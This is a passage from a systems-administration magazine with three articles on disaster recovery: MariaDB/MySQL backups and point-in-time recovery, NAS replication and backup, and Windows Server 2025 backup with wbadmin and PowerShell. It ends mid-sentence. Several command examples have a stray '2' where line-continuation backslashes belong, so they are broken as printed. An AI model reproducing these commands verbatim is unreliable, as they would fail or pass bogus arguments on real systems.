Ransomware attacks, compromised access, and SQL injections also can cause massive damage. Attackers are increasingly seeing more opportunities to manipulate or delete data, particularly through artificial intelligence (AI). They can also encrypt database files or steal sensitive information. The lack of appropriate access restrictions and secure connections make a system vulnerable. An efficient backup architecture is crucial for protecting against the consequences of these attacks.

In contrast, physical threats affect the technical infrastructure. Failed hard drives or faulty controllers result in data blocks that can no longer be processed. Power outages or the failure of individual nodes interrupt ongoing writes, causing inconsistent

Photo by Dave Hoeffler on Unsplash

states. Even modern RAID arrays and journaling filesystems cannot completely prevent such scenarios. Although InnoDB has built-in crash recovery, it is not up to the task in the event of more serious failures.

Disaster Recovery with Replication

Replication ensures that changes are continuously transferred from the primary server to a replica. If the primary fails, the replica can take over as a new instance, allowing operations to continue virtually uninterrupted. To set up replication in MariaDB or MySQL, you first need to enable binary logging on the primary to record every change in a transaction log. The next step is to assign unique server IDs to all of the stakeholding instances and ensure that the replica server can access the primary's binary logs. The replica then gradually applies all changes starting at a defined point.

Unlike backups, replication does not create a backup at a fixed point in time, but instead keeps an up-to-date copy of your data actively available, which significantly reduces downtime in the event of a failure; however, it does not replace a backup because asynchronous replication means that the system can transmit corrupted data to all instances. To mitigate this risk, the use of delayed replication on top is recommended, which introduces a delay before changes are applied, providing a correction window before errors propagate to all instances.

In advanced setups, you can also use synchronous methods such as the MariaDB Galera Cluster, for which all nodes can handle read and write transactions simultaneously, maximizing data consistency at the price of more exacting requirements for network stability and infrastructure.

Logical Backups

Logical backups map the database structure and content in the form of SQL dumps. Tools such as `mysqldump`

or `mariadb-dump` export tables, schemas, and data content in human-readable form. They are particularly suitable for smaller data volumes, targeted table dumps, or platform migrations. Take, for example, the selective dump of a production table with transaction data for MariaDB (first line) and MySQL (second line):

```
mariadb-dump --single-transaction 2
--flush-logs --master-data=2 2
--no-tablespaces db_name 2
--tables table_name 2
> table_name_dump.sql
```

```
mysqldump --single-transaction 2
--flush-logs --master-data=2 2
--no-tablespaces db_name 2
--tables table_name 2
> table_name.sql
```

Both commands generate a consistent dump during operation and write the current binary log position to the header, which enables a precise, timestamped restore with the use of binary logs at a later stage. Logical backups offer impressive flexibility when reconstructing individual objects. They are well-suited for versioning and analysis but have limitations when dealing with large volumes of data or transactions spanning multiple tables. In this case, you need to resolve the dependencies manually.

Physical Backups

Physical backups directly capture the database's binary files – think InnoDB data files, logs, and configuration files. They operate at the block level and can be generated consistently while the system is running. MariaDB comes with the `mariadb-backup` tool for this purpose, which is capable of processing large datasets efficiently.

In the Community Edition, MySQL relies on manual file backups or third-party tools such as Percona XtraBackup, because the standard version lacks native physical backup functionality. In contrast, the Enterprise Edition includes the official

`mysqlbackup`, which offers a feature set similar to that of `mariadb-backup`. To create an incremental backup, use:

```
mariadb-backup --backup \
--target-dir=/backups/inc_2025-08-05 \
--incremental-basedir=/backups/base
```

The incremental backup is based on a previous backup run and only saves the data blocks that have changed since. This method reduces storage usage and the time required for frequent backups. Physical backups are useful for production systems with large volumes of data or high change rates. You can restore them more quickly in an emergency, but they require a system layout that supports the approach and identical configurations at restore time.

RTO, RPO, and PITR

Disaster recovery strategies are guided by two key metrics: the recovery time objective (RTO) and the recovery point objective (RPO). RTO describes how quickly a system needs to be back in operation after a failure. If you define an RTO of just a few minutes, you need to have reliable access to prepared standby systems, replication, and automated failover. An RTO of several hours gives you more leeway for manual recovery. In comparison, RPO defines the extent to which data loss is tolerable. An RPO of zero means that not a single transaction may be lost. In MariaDB and MySQL, this can only be achieved with synchronous replication or continuous binary log backup. However, an RPO of 15 minutes can be achieved with frequent incremental backups and by enabling binary logging.

Unlike the RTO and RPO, point-in-time recovery (PITR) refers to the state before a specific event. Suppose a faulty script deletes important data records at 10:15am on March 5. The last full backup was created at 2:00am March 5. Thanks to PITR, you can first restore the 2:00am backup and then reapply all transactions up to exactly 10:14am from the binary

logs. This method restores the database to the state immediately before the error.

Recovery with Binary Logs

PITR combines a full physical or logical backup with the associated binary logs, which contain all the transactions since the backup. Both MariaDB and MySQL write these logs continuously, provided the `log_bin` option is enabled. The process is as follows:

- Restore the backup (physically or by SQL dump).
- Filter binary logs with `mariadb-binlog` or `mysqlbinlog`.
- Reapply only relevant transactions up to the target time.

In MariaDB (first line) and MySQL (second line), the command for filtering a binary log up to a specific time is:

```
mariadb-binlog 2
--stop-datetime="2025-08-05 14:59:00" 2
binlog.000203 | 2
mysql -u root -p

mysqlbinlog 2
--stop-datetime="2025-08-05 14:59:00" 2
binlog.000203 | 2
mysql -u root -p
```

Make sure the specified time precisely matches the server time. Another good idea is to back up the binary logs separately, especially when you use external storage solutions.

Automated Backup Scripts

Manually executed backups are massively prone to error, which is why backup reliability is paramount in production environments. Every backup needs to be scheduled, fully documented, and capable of regular repetition. Automated scripts ideally integrate with existing monitoring and recovery strategies. A well-structured Bash or Python script creates full and incremental backups and archiving or deleting older backup versions to save storage space. The script should also save binary logs to track transactions, verify database consistency

with `mariadb-check` or `mysqlcheck`, and document the process for audits or error analysis.

For example, to create a daily Bash script for a backup with rotation logic, use:

```
#!/bin/bash
TS=$(date +%F)
DIR=/var/backups/mysql/$TS
mkdir -p $DIR
mariadb-backup --backup --target-dir=$DIR
find /var/backups/mysql/ 2
-type d -mtime +7 2
-exec rm -rf {} \;
```

This script creates a new backup directory every day and automatically removes all backups more than seven days old. You can add extensions for error notifications, synchronization with external storage, or encrypted storage as needed.

Reliable Recovery Processes

A backup is only worth its salt if it can reliably restore a working system. The recovery process always begins with a validated backup source. Physical backups require a preparation phase to ensure consistency before you write the data back to the production directory and restart services. You can reconstruct logical backups by importing the SQL dump, often supplemented by transactions from the binary logs, if you want to perform a point-in-time recovery.

After restoring the data, you can feed the system with additional transactions from the binary logs if point-in-time recovery is intended. Proceed to verify the database integrity with `CHECK TABLE`. Finally, you will want to run a couple of random checks to verify the functionality of key application processes.

It makes sense to set up an isolated environment where you can test this process regularly. The start of a new month or new release date is a particularly good time to simulate a full restore. A test like this identifies potential vulnerabilities at an early

stage, boosting confidence that the recovery process will remain manageable even under pressure.

Advantages of Effective DR Strategies

A disaster recovery strategy that provides for regularly tested recovery paths can significantly curtail the time it takes to resume system operations. Replicated database instances, prepared recovery scripts, and testable backup procedures lay the underpinnings for a rapid response without needing to improvise.

In addition to the time factor, data integrity plays an essential role. A precise reconstruction to a desired point in time is possible if you combine full database dumps with enabled binary logging, which helps you resolve data losses resulting from transaction errors or undesirable changes without the entire process compromising the integrity of other data.

Coordination with other business units is viewed as another practical benefit. Being able to communicate reliable recovery times helps to manage operational dependencies better. Business departments make more informed planning decisions, test scenarios are more closely aligned with realistic conditions, and the accompanying documentation specifically supports auditing and compliance. Disaster recovery not only provides technical security but also fosters collaboration between operations, development, and management.

Challenges Posed by Data Growth

Many companies today store structured data from core applications while also capturing sensor data, logfiles, user interactions, and event streams in real time. These activities cause exponential growth in data volume on MariaDB and MySQL systems, significantly lengthening backup windows. Replication processes are more sensitive to network

delays or I/O loads. Storage architectures need to operate quickly, efficiently, and in an audit-proof way. Traditional dump methods are not fit for purpose in these environments; instead, you need file-based incremental backups. Write-intensive tables require a different handling strategy than rarely used archive data. It is important to segment the data strategically and prioritize backup jobs according to their frequency of change. For example, you would want to back up core operational areas hourly while handling historical log data only once a day. This differentiated approach not only improves backup efficiency, it also benefits recoverability, especially with limited bandwidth or tight time constraints.

Protection Against User Errors and Attacks

Many incidents leading to data loss can be traced back to manual intervention. Changes made without version control, logging, or structural separation are particularly risky. These interventions not only alter table contents but also expose to risk the dependencies between objects, indexes, and transactions. Disaster recovery strategies need specifically to account for such scenarios.

Any capable strategy needs to reconstruct, isolate, or selectively roll back affected subsystems. Differentiated backup runs, structured segmentation, and storing backups outside the production infrastructure help achieve this goal. Offsite backups on separate storage targets prevent local intervention or compromises from affecting all backups simultaneously. Companies that implement DR strategies with air gap principles can also reduce the risk posed by ransomware. These architectures technically decouple backups from active network access and prevent backup data being immediately overwritten. Moreover, many IT departments rely on immutable storage solutions, wherein data written once cannot be altered

or deleted. These approaches prevent accidental deletion, providing a tamper-proof fallback in the event of an attack.

Security also means verifying all your backups at regular intervals. Checksums and cryptographic hashes make it possible to verify the integrity of every backup. If an incident occurs, you can then revert to the last fully validated state without having to spend hours searching for a usable backup.

Integration with Cloud and Hybrid Infrastructures

Given the increasing use of cloud services and hybrid IT structures, the requirements for disaster recovery concepts are changing. Databases in MariaDB and MySQL often run in containers, clusters, or on serverless platforms. You need to ensure that recovery works reliably across all of these components.

In these scenarios, efficient DR strategies do not just back up the data but also the configurations, user permissions, network assignments, and dependencies between services. Multi-region replication actively distributes data across geographical boundaries. Snapshot-based backups in object storage preserve the state of entire database instances over extended periods.

At the same time, DevOps teams can create automated recovery processes with infrastructure as code. In an emergency, these processes restore a defined version of the entire environment. Monitoring tools not only oversee the backup process but also verify the recoverability of the backups. Hybrid environments require close integration between on-premises and cloud-based components. To implement DR processes successfully, understanding existing dependencies and accounting for them at every stage is crucial. Key components include differentiated access concepts, secure transport paths, encrypted storage destinations, and auditable logs. These elements improve resilience and ensure data

integrity even in complex, dynamic infrastructures.

Conclusion

An effective disaster recovery strategy is not based on a single procedure, but on a carefully planned combination of several components: reliable backups and replications, continuous monitoring, and regularly tested recovery processes. Where these elements pull together, you can respond effectively in an emergency without wasting time or having to resort to unproven ad hoc solutions.

What matters is not only the technical implementation but also practical effectiveness. Regularly and automatically documenting, testing, and verifying the recoverability of your backup strategies is important, including trial restores under realistic conditions and clear-cut responsibility assignments when the house is on fire.

Looking ahead to the coming years, AI-driven automated DR testing, self-healing architectures, and cloud-native recovery approaches are increasingly coming into focus. Systems capable of both detecting failures and autonomously compensating for them are the next level of robust database infrastructure. Make sure you push your DR strategy in this direction early to ensure technical availability and boost operational resilience. ■

Info

- [1] Cost of a Data Breach Report 2025. IBM and Ponemon Institute: [\[https://www.ibm.com/reports/data-breach\]](https://www.ibm.com/reports/data-breach)
- [2] "An Introduction to US Cybersecurity Laws and Data Protection for Business in 2025," SG Computers, April 25, 2025: [\[https://www.sgcomputers.com/blog/us-cybersecurity-laws-data-protection\]](https://www.sgcomputers.com/blog/us-cybersecurity-laws-data-protection)

The Author

Anne Springwald is an author, tech journalist, and entrepreneur. Her work focuses on programming, IT security, virtualization, artificial intelligence, and data privacy.





Disaster Recovery for Entry-Level NAS

Near Miss

We take a practical look at disaster recovery approaches suitable for smaller NAS systems and highlight the tools offered by vendors, along with a collection of Linux and open source tools. By Martin Loschwitz

In virtually any office, and even in many private households, users face the challenge of storing data securely at a central location. No problem, you might think; after all, you don't need to wait for network attached storage (NAS) devices to be invented. NAS is a distinct type of storage that always shares the same basic feature set: It is integrated into the local network by Ethernet and then provides network drives for storing data with protocols such as NFS or CIFS. Professional models also support iSCSI or NVMe over fabrics (NVMe-oF), making them attractive for virtualization tasks. Regardless of how NAS is used, though, in most cases this little device will become indispensable in everyday life and take on central importance. How critical a failure is depends on the specific situation. Even in a private household, it can be a real blow if vacation photos or backups of personal correspondence are lost. For businesses, the unavailability of network storage can even mean a threat to operations. You should therefore consider, especially in the context of business continuity, how to protect your organization against a failed NAS.

A fundamental distinction must be made between disaster recovery (DR) and high availability (HA). Because HA and DR are two different use cases, the challenges they face differ. With regard to legacy NAS devices, this article focuses primarily on the topic of preparing for catastrophic events (i.e., DR), and one thing is clear: Small office and home office (SOHO) devices from various vendors do not offer the level of DR functionality that you would like to see.

Redundancy vs. DR

HA relates to the operational concept of redundancy, where the goal is to provide a replacement for a temporarily failed device at short notice, ideally within a few seconds. Operational downtime is as short as possible and accordingly mitigates the serious consequences that a non-functional NAS entails. HA concepts for NAS drives therefore typically involve redundancy of the NAS components on the one hand and the use of matching software functions on the other.

For example, the vast majority of devices today offer various RAID levels

to provide protection against failed storage drives. Advanced devices come equipped with redundant power supplies. If you want to protect your organization against the failure of an entire NAS, you could simply operate an identical NAS and set up synchronous replication between the devices. Both QNAP and Synology, the market leaders for "small" NAS devices, have integrated corresponding functions into their software.

NAS devices from less well-known vendors can also be set up in the same way, although it might require a little more manual effort. Almost all NAS devices on the market run on Linux, so standard software for the open source operating system can be used in an emergency. Clearly, though, HA at the NAS level always serves the purpose of compensating for a NAS failure in the short term, thanks to redundancy.

DR, on the other hand, does not mean providing for the short-term failure of a NAS drive or the IT infrastructure in general. Instead, it involves creating a business continuity plan for situations in which a NAS device is not merely temporarily unavailable but permanently lost

Lead Image © Jjawangkun, 123RF.com

(i.e., destroyed) because of catastrophic external influences. Destruction is often the consequence of a natural disaster that triggers DR scenarios. For example, a flood that submerges entire office basements and renders the hardware unusable. In most cases, the hardware has to be scrapped, and the data stored there can only be recovered in a lab at great expense. Fire is even worse: If all that's left of a NAS device is a smoldering pile of ashes, even the best lab can't help. Other scenarios are also conceivable. Burglars who ransack the office and simply take the NAS device with them will cause the same amount of trouble.

Scenarios for SMEs

Especially in large data center IT scenarios, the requirements for DR setups are usually clearly defined. The requirement, even in the event of a catastrophic failure of an entire data center, is a rapid failover to another location. Ideally, the process will even be automated, keeping downtime as short as possible. However, it requires various precautions at the infrastructure level. For example, the network in question must use the Border Gateway Protocol (BGP) to extend all the way to the first local router so that it can switch over quickly in the event of a disaster. At the same time, more or less the same hardware must be available on both sides, and it must be configured and operated in the same way – including data replication. A scenario like this typically costs more than small and midsize enterprises (SMEs) or private households are willing to invest. For this reason, I focus on solutions that can be implemented with a significantly smaller budget that does require some compromises in terms of functionality and availability. Keeping the data intact in the first place so that everything can be brought back online through manual intervention within a reasonable time after a disaster is key. An automatic process is not intended, nor is an immediate switchover.

Two challenges arise with regard to standard NAS devices: On one side, the data must be backed up such that a rapid restore is possible in the event of a disaster; on the other side, the device configurations must be handled separately.

Backing Up User Data and Configuration

Attractive, comprehensive DR mechanisms for NAS drives simply do not exist on the market at the moment, primarily because of the separation between user data and configuration. In the vast majority of cases, NAS devices are set up to use a local RAID array containing a filesystem, which is then divided into various network shares, with clients then accessing the individual shares.

In reality, though, these devices are capable of far more. With their firmware, additional services can be installed – some as containers, others as standalone tools and programs – which generates a vast volume of metadata (information related to the NAS's configuration and usage). Virtual instances are a good example: If you purchased a higher end device and use iSCSI or NVMe-oF (e.g., for Proxmox), it will host volumes that are passed through to virtual machines as virtual hard drives. It will also host the operating system configuration for the logical volume manager (LVM) and the iSCSI initiator. If you want to enable DR, both sets of data need to be backed up.

In the case of iSCSI, at least with QNAP and Synology, this task is still manageable for both parts of the scenario because snapshot mechanisms are available for both the volumes and the system configuration. However, wherever organizations make extensive use of the vendor's app stores, which vendors tend to laud as an integral part of their offerings, the picture looks less rosy. Both QNAP and Synology, for example, now offer customer relationship management (CRM) applications, which are particularly popular in SMEs because they are available locally. However, they

are not part of the system backup process for either provider. Only the application's user data can be backed up (i.e., the directory containing the CRM data). Unfortunately, the CRM app itself has to be reinstalled and reconfigured manually in case of a system restart.

The 3-2-1 Rule

So how should admins sensibly approach the topic of DR for NAS systems? First, you encounter an old acquaintance from the world of data backup in the form of a golden rule: The 3-2-1 strategy stipulates that a dataset must have at least three backups, stored on at least two different media, one of which must be stored at a different location from the original data source.

Because backups are essential for DR, the golden backup rule also applies here: If you have a local backup of the NAS, data can be quickly restored on-site if, for example, individual datasets have been accidentally deleted. The original dataset and the local backup count as two copies of the data. The third copy will ideally be stored off-site, and implicitly on a different type of medium, and will only be used in the event of a disaster.

Backup Tools from QNAP and Synology

A DR concept based on the 3-2-1 rule can only be implemented in an effective way if you rely on the features provided by your own device's manufacturer. Both QNAP and Synology offer proprietary tools for local backups intended for a quick restore of individual data records, which includes the options of creating a copy of the data on a locally connected USB drive, on a remote NAS device, or in the cloud.

Some organizations in European countries are uncomfortable storing their data on servers operated by US cloud providers – including Microsoft, Amazon, and Google. However, both QNAP and Synology let you create encrypted backups with their tools. The data can

then be stored in Amazon Simple Storage Service (S3), for example, but cannot be accessed in the clear. Instead, access requires the specified key that the administrator enters in the backup software. For Synology, the software is named *Active Backup for Business*, whereas QNAP uses *Hybrid Backup Sync*.

The applications work in a similar way: You first specify the data to be backed up and then create a remote backup target (e.g., on S3 or Google Drive). The next step is to set up the defined configuration as a recurring task. Whichever software you use then takes care of incrementally backing up your data. Programs from the market leaders also offer the option of backing up the devices' metadata, including the configuration, in separate backups. Again, the exceptions described earlier apply here (regarding applications installed from the app store).

Replication

One thing all approaches share for backup with standalone software is that the available dataset is not up to date to the last second, although the backup tools offer partial remedies. For example, QNAP's Hybrid Backup

Sync includes a feature named *Real-Time Sync* that immediately writes changes made on the local device to the backup medium, although this is not a truly synchronous copy. If your aim is to back up existing NAS devices such that the entire dataset is always synchronously available at a different location, replication enters the play as an additional factor. The two manufacturers mentioned, and probably others, offer tools for volume replication as part of their NAS operating systems. The differences lie in the details, which also shows that DR and classic HA strategies cannot be completely separated at the end of the day: Replicating entire volumes can be useful for both DR and HA. Put simply, having a complete copy of a NAS storage system at the volume level reduces time to recovery, depending on the configuration. The QNAP SnapSync and Snapshot Replica functions clearly demonstrate this feature (Figure 1). Snapshot Replica essentially does what it says on the box: It creates a snapshot of the data on the source NAS and then copies this snapshot to another NAS device. Real-time synchronization is missing, which SnapSync provides: A volume copied from NAS 1 always

exists in exactly the same form on NAS 2, as well, although it is read-only on NAS 2. One prerequisite is that both the source and target NAS devices use the QNAP QuTS Hero firmware, which is based on the ZFS filesystem.

If you use the QTS operating system with ext4 as the filesystem instead, the SnapSync feature can still be used, but with differences in the details. In QuTS, an existing copy of a volume on NAS 2 can be put into operation immediately. Just a few mouse clicks are all it takes for NAS 2 to go online with the same data that NAS 1 had previously. In QTS, on the other hand, a replica snapshot can only be used to restore the original device.

Workarounds, such as creating a local copy of the replica snapshot on NAS 2, can then be converted back into a standalone, usable volume with a bit of tinkering. However, that is definitely not an elegant approach, and the process requires NAS 2 to have enough local storage to hold the entire contents of the NAS, at least temporarily. Because QuTS Hero and QTS can be used interchangeably on some QNAP devices, you will probably want to opt for QuTS Hero.




Figure 1: SnapSync on QNAP devices running the QuTS Hero operating system mirrors the contents of the NAS to another device in real time.

The situation is far more straightforward with Synology: Here, the NAS infrastructure is largely based on Btrfs and its snapshot functions. Because Synology adopted Btrfs, a feature for replicating entire volumes named Snapshot Replication can be configured in the system's snapshot settings (Figure 2).

Costs and Bandwidth

Compared with the previously described method of backups with synchronization software, SnapSync in QNAP and Snapshot Replication in Synology have the disadvantage of requiring a second NAS system. This system must also have at least the same hardware as the source system, and the software version and configuration should be identical across the devices.

On the upside, this approach offers a key advantage: Because a dataset is already available at another location and can be activated with minimal overhead, the recovery time is shorter than when restoring a new device (e.g., from the cloud). Higher acquisition costs may therefore be offset by reduced downtime from faster recovery in the event of a disaster. You also need to keep in mind that this approach places certain demands on the connection available between

the two locations. If the locations are directly connected within an organization, the available bandwidth should be sufficient. However, if the data needs to travel over the Internet and possibly through a VPN, the situation is different. Asynchronous digital subscriber line (DSL) connections are commonly used in many places to connect offices, and they typically do not have a high-capacity uplink. A 50Mbps DSL promises an average throughput of 5MBps, which may already be insufficient for continuous writing to the NAS. Assessing the requirements in advance is important. If the available uplink is not fit for the purpose, live replication will fail. Backup mechanisms should also be designed primarily to upload data when the line is not otherwise in use (e.g., at night).

Linux and BSD Built-In Tools

The situation is significantly more diverse if you shift your focus away from the major vendors and look at various niche products. Asustor, for example, offers NAS devices, as does Ugreen, and they are joined by various small manufacturers. DR capabilities here depend heavily on the software you use. Many off-the-shelf NAS devices of this type do come with a GUI, but it will typically not be

anywhere near as comprehensive as GUIs offered by the market leaders. Under the hood, these systems typically run a Linux or BSD derivative. Unlike with QNAP and Synology, however, the command line can typically be put to effective use, which opens up a DR path with standard tools such as those provided by the Linux kernel. If asynchronous replication to another location is an option, you can use the Distributed Replicated Block Device (DRBD) storage system that is part of the Linux kernel. On FreeBSD, your option is high-availability storage (HAST), which works in a similar way and delivers comparable results.

External Backup Software

If a device from a minor manufacturer does not offer satisfactory backup capabilities, or if the features built-in to QNAP or Synology devices do not meet your needs, backup software might be a valid alternative. Virtually all of the established tools, such as Veeam or Commvault, offer NAS-specific features or dedicated versions of their programs for NAS drives. The Veeam Data Platform is designed to connect to the network exports of existing NAS devices and create remote one-to-one copies (Figure 3). In some cases, the backup programs




Figure 2: Synology offers snapshot-based near-real-time replication thanks to the Btrfs filesystem.

also interact directly with the APIs of the NAS drives. Veeam is just one example; other tools also offer similar functionality. If you prefer open source, you will find similar features in Bacula or Bareos, for which the process typically involves mounting a shared volume on the local network and copying the data.

The advantage of avoiding vendor-specific tools is that it allows for integration with the standard built-in tools of any Linux distribution – both niche devices and major vendors such as QNAP and Synology. If you integrate them with Bareos or Bacula, for example, the same

principles for NAS DR apply as they do for the rest of the infrastructure. Additionally, in this scenario, you are independent of proprietary features from individual manufacturers. Even if you replace a QNAP NAS with a Synology device at a later date, your DR approach can remain in place.

Conclusion

DR for NAS systems requires a clear decision: Either you use the built-in backup and replication features of QNAP or Synology, or you rely on Linux/BSD tools and third-party software. The desired service level is the

deciding factor: If a delayed recovery is acceptable, a cloud backup is fine. If you need to be back up and running quickly, you will want to opt for a second NAS and replication. Basic Linux functions and independent backup tools offer practical alternatives for products by lesser-known manufacturers.

The Author

Martin Loschwitz is the founder and managing director of True West IT Services GmbH, which offers scalable IT infrastructure based on OpenStack and Kubernetes.




Figure 3: Third-party products such as Veeam offer their own backup options for NAS drives, which buys independence from the NAS manufacturer but could involve more overhead.

CONNECTING THE DOTS ↘

LEARN WHAT'S NEXT

➔ **REGISTER NOW!**

ISC HIGH PERFORMANCE 2026
JUNE 22-26 | HAMBURG, GERMANY

HPC, AI, QUANTUM: POWERING INNOVATION AND SUSTAINABILITY

An inspiring program of keynotes, discussions and exhibits from research, industry and academia awaits 3,500 attendees. Come explore the innovations shaping a more sustainable digital future.

See you in Hamburg!

isc-hpc.com





Disaster Recovery with Built-In Tools
on Windows Server 2025

Keeping Your Head Above Water

Windows Server 2025 has built-in tools for setting up resilient backups. We look at how to reset roles selectively for Active Directory, Hyper-V, and Certificate Services and how to automate processes with PowerShell, `wbadmin`, and event triggers. By Thomas Joos

A **server failure** is one of the most serious disruptions to IT operations. Whether a faulty boot configuration, corrupted system files, damaged volume shadow copies, or accidentally deleted data are to blame, without structured recovery procedures, downtime is inevitable. In this context, disaster recovery (DR) not only describes the process of restoring the technical components but secures reliable access to full backups, while ensuring consistent data states and automatic restarts.

This article shows you how to use the tools built in to Windows Server 2025 to set up full and incremental backups, define schedules, restore individual roles (e.g., Active Directory, Hyper-V, Certificate Services), and integrate Azure Backup. You'll learn how to use robust PowerShell logic, Volume Shadow Copy Service

(VSS) diagnostics, event binding, and step recording to trace and resolve even complex error scenarios. The goal is not an ideal toolchain, but a workable routine that can be fully implemented by built-in tools – a routine that can be planned, repeated, and documented. The options shown here also work with Windows Server 2019/2022 but were primarily tested on Windows Server 2025.

DR in production environments with Windows Server requires consistent backup strategies, recovery routines, and automated processes that do not rely on specialist software. Windows Server 2025 comes with integrated tools for this purpose, enabling full backups, incremental backups, system state restores, volume snapshots, bare-metal restores, and cloud-based backups

with Azure Backup. You can use the graphical management interface, PowerShell, or the `wbadmin` command-line tool for the configuration.

Setting Up and Managing Backups

To get started, install Windows Server Backup (**Figure 1**) in the Server Manager from *Windows Server Backup* or use PowerShell:

```
Install-WindowsFeature 2  
Windows-Server-Backup 2  
-IncludeAllSubFeature
```

The *Tools* tab in the Server Manager dashboard allows you to launch the graphical console, or you can call it up directly by running:

```
wbadmin.msc
```

Lead Image © andresr, Fotolia.com

```

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\Administrator> Install-WindowsFeature Windows-Server-Backup -IncludeAllSubFeature

Success Restart Needed Exit Code      Feature Result
-----
True      No          Success      {Windows Server Backup}

PS C:\Users\Administrator> Get-Command -Module WindowsServerBackup

CommandType      Name                                     Version      Source
-----
Alias             Get-WBvssBackupOptions                 1.0.0.0      WindowsServerBackup
Alias             Set-WBvssBackupOptions                 1.0.0.0      WindowsServerBackup
Function          Backup-ACL                             1.0.0.0      WindowsServerBackup
Function          Restore-ACL                            1.0.0.0      WindowsServerBackup
Cmdlet            Add-WBBackupTarget                     1.0.0.0      WindowsServerBackup
Cmdlet            Add-WBBareMetalRecovery                1.0.0.0      WindowsServerBackup
Cmdlet            Add-WBFileSpec                        1.0.0.0      WindowsServerBackup
Cmdlet            Add-WBSystemState                     1.0.0.0      WindowsServerBackup
Cmdlet            Add-WBVirtualMachine                  1.0.0.0      WindowsServerBackup
Cmdlet            Add-WBVolume                          1.0.0.0      WindowsServerBackup
Cmdlet            Get-WBBackupSet                       1.0.0.0      WindowsServerBackup
Cmdlet            Get-WBBackupTarget                    1.0.0.0      WindowsServerBackup
Cmdlet            Get-WBBackupVolumeBrowsePath          1.0.0.0      WindowsServerBackup
Cmdlet            Get-WBBareMetalRecovery               1.0.0.0      WindowsServerBackup
Cmdlet            Get-WBDisk                            1.0.0.0      WindowsServerBackup
Cmdlet            Get-WBFileSpec                       1.0.0.0      WindowsServerBackup
Cmdlet            Get-WBJob                             1.0.0.0      WindowsServerBackup
Cmdlet            Get-WBPerformanceConfiguration        1.0.0.0      WindowsServerBackup
Cmdlet            Get-WBPolicy                          1.0.0.0      WindowsServerBackup
Cmdlet            Get-WBSchedule                        1.0.0.0      WindowsServerBackup
Cmdlet            Get-WBSummary                         1.0.0.0      WindowsServerBackup
Cmdlet            Get-WBSystemState                     1.0.0.0      WindowsServerBackup
Cmdlet            Get-WBVirtualMachine                  1.0.0.0      WindowsServerBackup
Cmdlet            Get-WBVolume                          1.0.0.0      WindowsServerBackup

```

Figure 1: Windows Server Backup can be installed with PowerShell.

Alternatively, you can use PowerShell to view the individual commands and get further details and examples for the various commands:

```
Get-Command -Module WindowsServerBackup
Get-Help <Cmdlet>
```

A `wbadmin` command offers a targeted and automated approach to backing up a Windows Server:

```
wbadmin start backup 2
-backupTarget:E: 2
-include:C: 2
-allcritical -vssFull -quiet
```

The `-backupTarget:E:` parameter specifies the destination directory – typically an external drive or a dedicated volume – and `-include:C:` defines the volume to be backed up (the system drive in this case). The `-allcritical` option extends the backup to include all system-critical partitions required for a bare-metal restore, such as the EFI partition or the recovery volume. Specifying `-vssFull` creates a full shadow copy by the VSS, which is important for consistent backups of services like Active Directory or

Exchange. The `-quiet` parameter suppresses prompts, ultimately making the command scriptable.

Listing 1 shows a typical PowerShell script for a full backup. This script backs up drive C: and the system state to drive E: daily at 3:00am. It runs once, sets up a backup policy, and then immediately starts the backup process. Windows Server Backup PowerShell cmdlets let you implement differentiated backup strategies, such as multiple destination paths, targeted volume backups, or status queries. The command to monitor active backups is:

```
Get-WBBackupSet | Format-List
```

The PowerShell commands for scheduled scripted jobs in combination

Listing 1: Full Backup

```

$targetVolume = Get-WBVolume -DriveLetter "E"
$sourceVolume = Get-WBVolume -DriveLetter "C"
$policy = New-WBPolicy
Add-WBVolume -Policy $policy -Volume $sourceVolume
Add-WBSystemState -Policy $policy
Add-WBBackupTarget -Policy $policy -Target $targetVolume
Set-WBSchedule -Policy $policy -Schedule 03:00AM
Start-WBBackup -Policy $policy

```

with the Task Scheduler can be saved as PS1 files and executed automatically by a trigger event after a successful backup, or at system startup. To enable incremental backups, go to the Actions pane and choose *Configure Performance Settings*. Incremental backups only include data blocks that have changed since the last full backup. Storage is block-based and uses the VHD format. The system partition is automatically included. Make sure you exclusively use external storage devices without existing data, because the devices will be formatted during the backup. You can set up a schedule from *Backup Schedule* in the Actions pane. You have the choice of various options, such as backing up daily or multiple times a day or backing up either individual volumes or the entire server.

For automated tasks, use the `wbadmin` commands in Table 1. The `start systemstaterecovery` command lets you restore the system state by recovering the operating system's configuration data, the registry, system files, and, if needed, roles such as Active Directory or Certificate Services to the state in which they existed at the time of the backup. The restore can take place either on the same system or, in the scope of a DR migration, to identical hardware. Make sure you test this process on non-production systems

Table 1: Automated Backup

Command	Function
<code>wbadmin enable backup</code>	Sets the schedule
<code>wbadmin start backup</code>	Performs a one-off backup
<code>wbadmin get versions</code>	Displays the available backups
<code>wbadmin start recovery</code>	Starts the recovery process
<code>wbadmin start systemstaterecovery</code>	Restores the system state
<code>wbadmin delete systemstatebackup -keepversions:<n></code>	Deletes old backups; keeps <i>n</i> copies

only or carry it out in controlled conditions with a full backup, because a system state restore overwrites existing configurations and cannot be undone.

Restoring Individual Objects or Entire Systems

The graphical console (*Action | Recover*) or `wbadmin` start recovery enables restoration of files, directories, volumes, or the system state. Select the backup date, the data source, and the destination. Note that permissions and security settings can be restored, as well.

For bare-metal restores, boot the server first from the Windows Server 2025 installation media. Once the Start menu has loaded, select the *Repair My Computer | Troubleshoot* option and then choose *System Image Recovery*. In the next step, the system automatically detects connected backup drives and lists available backups with timestamps, volume information, and configuration details (Figure 2). You can choose whether to restore all backed-up volumes or only specific volumes. You also have the option of specifically excluding individual volumes from the restore (e.g., if they contain databases or logical partitions that you want to handle separately).

The restore process lets you either write back to the original partitions or opt for a complete reformat with

automatic repartitioning of the target system. You can also enable the option to run a full filesystem check with `chkdsk` after the restoration. Also, mass storage drivers or RAID controllers can be integrated manually from the *Install Drivers* option; this requires a USB or a network drive where the driver package was extracted up front and is essential for Storage Spaces, logical unit number (LUN) mappings, or proprietary RAID controllers to ensure access to the target hardware.

Recovery Mode

If the server fails to boot three times in a row, Windows automatically detects the critical condition and loads Windows Recovery Environment (Windows RE) without an external medium. This course of action works with both Windows Server 2019/2022 and Windows 10/11. The *System Image Recovery* option is also available in these versions, provided the VHD-based backup was stored on a recognizable storage device.

Setting the *Bare metal recovery* flag during the original backup is important; otherwise, the wizard will reject the system image as a complete recovery source. During recovery, you can also load network drivers and access backups stored on the network with their UNC paths (`\\<server name>\<share>`). However, this way

